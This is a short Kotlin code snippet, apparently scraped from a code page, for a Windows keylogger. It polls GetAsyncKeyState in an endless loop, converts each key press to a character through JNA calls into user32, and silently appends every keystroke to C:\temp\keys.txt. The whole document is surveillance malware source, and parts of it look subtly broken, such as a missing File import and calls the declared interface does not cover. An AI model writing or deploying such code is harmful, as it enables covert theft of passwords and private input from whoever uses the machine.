1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
import com.sun.jna.Library import com.sun.jna.Native import com.sun.jna.Pointer import com.sun.jna.platform.win32.User32 interface MyUser32 : User32 { val INSTANCE: MyUser32 fun GetAsyncKeyState(virtualKeyCode: Int): Short } interface MyKernel32 : Library { val INSTANCE: MyKernel32 } fun main() { val user32 = Native.load("user32", MyUser32::class.java) val kernel32 = Native.load("kernel32", MyKernel32::class.java) val keysFile = "C:\\temp\\keys.txt" while (true) { for (ascii in 9..254) { val state = user32.GetAsyncKeyState(ascii) if (state == -32767.toShort()) { // Handle key press here val keyState = ByteArray(256) user32.GetKeyboardState(keyState) val virtualKey = user32.MapVirtualKey(ascii.toUInt(), 3) val myChar = CharArray(1) if (user32.ToUnicode(ascii.toUInt(), virtualKey, keyState, myChar, myChar.size, 0) > 0) { // Store the pressed key val pressedKey = myChar[0].toString() // Append the key to the file File(keysFile).appendText(pressedKey) } } } } } |